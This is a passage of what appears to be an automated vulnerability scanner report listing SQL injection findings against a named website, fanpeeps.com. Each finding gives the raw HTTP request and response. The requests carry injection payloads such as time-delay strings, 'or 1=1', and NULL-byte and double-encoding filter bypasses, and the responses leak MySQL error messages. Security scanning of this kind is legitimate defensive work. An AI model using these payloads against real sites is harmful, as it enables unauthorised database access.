The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /greybox'/gb_scripts.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:31 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17392

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

GET /greybox''/gb_scripts.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:32 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.30. http://fanpeeps.com/greybox/gb_scripts.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/greybox/gb_scripts.js

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ',0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /greybox/gb_scripts.js',0,0)waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:47:13 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17916

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.31. http://fanpeeps.com/greybox/gb_scripts.js [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/greybox/gb_scripts.js

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payload " was submitted in the Referer HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /greybox/gb_scripts.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;
Referer: http://www.google.com/search?hl=en&q="

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:30 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17203

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.32. http://fanpeeps.com/greybox/gb_scripts.js [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/greybox/gb_scripts.js

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /greybox/gb_scripts.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2',0,0,0)waitfor%20delay'0%3a0%3a20'--; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:14 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17455

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.33. http://fanpeeps.com/greybox/gb_scripts.js [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/greybox/gb_scripts.js

Issue detail

The __utmc cookie appears to be vulnerable to SQL injection attacks. The payload 11885055%20or%201%3d1--%20 was submitted in the __utmc cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /greybox/gb_scripts.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=18189393611885055%20or%201%3d1--%20; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:37 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17300

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.34. http://fanpeeps.com/greybox/gb_scripts.js [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/greybox/gb_scripts.js

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmz cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request 1

GET /greybox/gb_scripts.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)%00'; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:52 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17371

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

GET /greybox/gb_scripts.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)%00''; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:52 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 50419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.35. http://fanpeeps.com/greybox/gb_scripts.js [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://fanpeeps.com
Path:	/greybox/gb_scripts.js

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /greybox/gb_scripts.js?1%2527=1 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:45:30 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17577

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
</b>: Invalid argument supplied for foreach() in <b>
...[SNIP]...

Request 2

GET /greybox/gb_scripts.js?1%2527%2527=1 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:45:33 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 50419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.36. http://fanpeeps.com/greybox/gb_styles.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/greybox/gb_styles.css

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ',0)waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /greybox',0)waitfor%20delay'0%3a0%3a20'--/gb_styles.css HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:43 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17383

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.37. http://fanpeeps.com/greybox/gb_styles.css [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/greybox/gb_styles.css

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the Referer HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /greybox/gb_styles.css HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;
Referer: http://www.google.com/search?hl=en&q='

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:29 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17203

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.38. http://fanpeeps.com/greybox/gb_styles.css [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/greybox/gb_styles.css

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /greybox/gb_styles.css HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:22 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17435

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

GET /greybox/gb_styles.css HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)''
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:29 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.39. http://fanpeeps.com/greybox/gb_styles.css [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/greybox/gb_styles.css

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /greybox/gb_styles.css HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2',0,0)waitfor%20delay'0%3a0%3a20'--; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:16 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18095

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.40. http://fanpeeps.com/greybox/gb_styles.css [__utmb cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://fanpeeps.com
Path:	/greybox/gb_styles.css

Issue detail

The __utmb cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmb cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:45:04 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17567

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
</b>: Invalid argument supplied for foreach() in <b>
...[SNIP]...

Request 2

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:45:04 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 91517

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.41. http://fanpeeps.com/greybox/gb_styles.css [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/greybox/gb_styles.css

Issue detail

The __utmc cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the __utmc cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:37 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17408

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.42. http://fanpeeps.com/greybox/gb_styles.css [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/greybox/gb_styles.css

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. The payload ')waitfor%20delay'0%3a0%3a20'-- was submitted in the __utmz cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /greybox/gb_styles.css HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)')waitfor%20delay'0%3a0%3a20'--; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:00 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17281

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.43. http://fanpeeps.com/media/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

Request 1

GET /media'/ HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:29 GMT
